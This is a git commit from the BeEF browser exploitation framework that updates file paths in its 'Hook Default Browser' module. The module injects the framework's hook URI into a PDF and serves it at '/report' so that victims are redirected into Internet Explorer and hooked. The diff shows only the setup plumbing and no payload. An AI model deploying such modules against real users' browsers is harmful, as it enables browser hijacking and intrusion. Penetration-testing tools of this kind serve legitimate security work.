Updated pdf path in Hook Default Browser module

Fixes issue 419



git-svn-id: https://beef.googlecode.com/svn/trunk@1234 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
bcoles@gmail.com
2011-08-24 09:31:56 +00:00
parent 211ec00683
commit 5c384ca6a3

View File

@@ -24,11 +24,11 @@ class Hook_ie < BeEF::Core::Command
hook_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/demos/report.html"
# A new pdf file containg the actual hook URI instead of the dummy token.
configured_hook_file = File.open("./modules/browser/hook_ie/bounce_to_ie_configured.pdf","w")
configured_hook_file = File.open("./modules/browser/hook_default/bounce_to_ie_configured.pdf","w")
# The original pdf file contains a token that will get replaced during the initialization with
# the actual hook URI of beef. Note that the hook URI is accessed via the DNS name.
File.open('./modules/browser/hook_ie/bounce_to_ie.pdf',"r") { |original_hook_file|
File.open('./modules/browser/hook_default/bounce_to_ie.pdf',"r") { |original_hook_file|
original_hook_file.each_line { |line|
# If the line includes the hook token, then replace it with the actual hook URI
if(line.include? '<hookURI>')
@@ -43,7 +43,7 @@ class Hook_ie < BeEF::Core::Command
#Bind the configured PDF file to the web server.
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/hook_ie/bounce_to_ie_configured.pdf', '/report', 'pdf', -1);
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/hook_default/bounce_to_ie_configured.pdf', '/report', 'pdf', -1);
end